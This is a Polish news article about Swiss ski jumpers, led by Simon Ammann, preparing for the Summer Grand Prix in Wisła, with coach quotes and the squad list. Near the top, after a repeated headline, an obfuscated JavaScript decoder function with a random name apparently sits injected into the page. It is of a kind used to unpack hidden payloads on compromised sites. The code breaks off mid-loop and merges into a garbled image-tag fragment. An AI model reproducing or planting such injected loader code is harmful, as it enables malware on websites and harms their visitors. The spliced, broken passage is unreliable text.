You are currently viewing Ammann na starcie LGP. Czy Szwajcar polubi skocznię w Wiśle?
Simon Ammann (fot. Bartosz Leja)

Ammann na starcie LGP. Czy Szwajcar polubi skocznię w Wiśle?

Wśród jedenastu ekip, które pojawią się w Wiśle na jedynych tego lata zawodach Grand Prix są Szwajcarzy. W czteroosobowej drużynie trenera Ronny'ego Hornschuha znalazł się utytułowany Simon Ammann, który zdecydował się na start w Beskidach mimo, że za skocznią im. Adama Małysza, delikatnie mówiąc, nie przepada.

 

- Ammann na starcie LGP. Czy Szwajcar polubi skocznię w Wiśle?function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0anden (fot. Julia Piątkowska)" src="http://www.skokipolska.pl/wp-content/gallery/puchar-swiata-wisla-2019-konkurs-druzynowy/DSC00781.jpg?i=1917565769" alt="Gregor Deschwanden (fot. Julia Piątkowska)" width="300" height="200"> Gregor Deschwanden (fot. Julia Piątkowska)

Szwajcarscy skoczkowie, którzy wystartują w konkursach LGP w Wiśle, mają za sobą treningi przygotowujące ich do igelitowej rywalizacji. Okazuje się, że ostatnie dni Helweci spędzili na Wielkiej Krokwi w Zakopanem. Skakali tam m.in. Simon Ammann, Gregor Deschwanden, Killian Peier oraz Andreas Schuler. To właśnie ta czwórka zaprezentuje się także w czasie najbliższego weekendu w Beskidach.

Początek letnich przygotowań Szwajcarów miał miejsce już w maju. Tamtejsza kadra narodowa trenowała początkowo na rodzimych skoczniach w Einsiedeln i Kanderstegu. W czerwcu ekipa Hornschuha udała się na zgrupowanie do niemieckiego Oberhofu, a w lipcu do austriackich Bischofshofen i Stams. Na początku tego miesiąca Helweci powrócili do Niemiec, a dokładnie na olimpijską skocznię w Garmisch-Partenkirchen. O ile treningi na skoczniach nie stanowiły dla nich wyzwania, o tyle ćwiczenia, które wykonywali zazwyczaj w salach gimnastycznych i siłowniach, musieli ze względów bezpieczeństwa również przenieść na zewnątrz. Wszystko przez obostrzenia obowiązujące w czasie pandemii koronawirusa. Rozwiązaniem okazało się wówczas postawienie namiotu imitującego siłownię na terenie skoczni w Einsiedeln.

Teraz nadszedł czas na wielki test formy. Trener Ronny Hornschuh, podobnie jak jego zagraniczni odpowiednicy podkreślił, że priorytetem podczas jedynych tego lata międzynarodowych zawodów najwyższej rangi, będzie sprawdzenie sportowego poziomu na tle zagranicznych rywali. Szkoleniowiec w wywiadzie dla portalu swiss-ski.ch zaznaczył, że bardzo ważne podczas wiślańskich zmagań będzie przetestowanie sprzętu w konkursowych warunkach, a także sprawdzenie realiów rywalizacji w zaostrzonym reżimie sanitarnym. - Zweryfikujemy różne kwestie związane z nowymi przepisami, na przykład nowe kroje kombinezonów, które uległy zmianie. W Wiśle przetestujemy je po raz pierwszy w oficjalnych zawodach. Ponadto zobaczymy, jak różne reprezentacje respektują przepisy związane z koronawirusem, jak postępuje się w kwestii maseczek, czy dystrybucji żywności - podkreśla 45-letni Niemiec.

Zrzut ekranu 2019 08 17 o 11.50.10 300x200 - Ammann na starcie LGP. Czy Szwajcar polubi skocznię w Wiśle?
Kilian Peier (fot. Julia Piątkowska)

Z pewnością Szwajcarzy będą chcieli poprawić zeszłoroczne wyniki osiągnięte w Wiśle. Wówczas w indywidualnym konkursie Letniego Grand Prix w czołowej trzydziestce zmieścił się jedynie Killian Peier, który zajął 24. miejsce. Dopiero w piątej dziesiątce stawki lądowali Dominik Peter i Andreas Schuler, a Sandro Hauswirth nie przebrnął nawet wcześniejszych kwalifikacji. Tym razem w Beskidach zagości jednak mocniejszy skład Helwetów.

Na skoczni im. Adama Małysza wystartuje nawet Simon Ammann, który kilkukrotnie sygnalizował, że nie przepada za tym obiektem. "Mam dość Wisły. Nie będę za nią tęsknił. Denerwuje mnie ta skocznia i nigdy się z nią nie zaprzyjaźniłem" - przyznawał w poprzednich latach. Najwyraźniej 39-letni narciarski "weteran" poczuł  jednak głód rywalizacji i skorzysta z jedynej tego lata szansy na powalczenie ze światową czołówką właśnie w Wiśle. Kolejnym doświadczonym Szwajcarem, który pojawi się w Polsce będzie Gregor Deschwanden, którego szczególnie pochwalił trener Hornschuh. - Myślę, że znów będzie skakał dużo bardziej stabilnie. Andreas Schuler i Killian Peier również wykazują postępy techniczne w porównaniu z zeszłym sezonem - ocenił szkoleniowiec. Niewiadomą wydaje się być jednak właśnie forma czterokrotnego mistrza olimpijskiego, który w kwietniu ogłosił decyzję o kontynuowaniu kariery do 2022 roku.

 

Skład reprezentacji Szwajcarii na LGP w Wiśle:

  • Killian Peier (25. miejsce w PŚ 2019/2020),
  • Simon Ammann (35. miejsce w PŚ 2019/2020),
  • Gregor Deschwanden (51. miejsce w PŚ 2019/2020),
  • Andreas Schuler (66. miejsce w PŚ 2019/2020).

 

Bartosz Leja,
źródło: swiss-ski.ch

 

Dodaj komentarz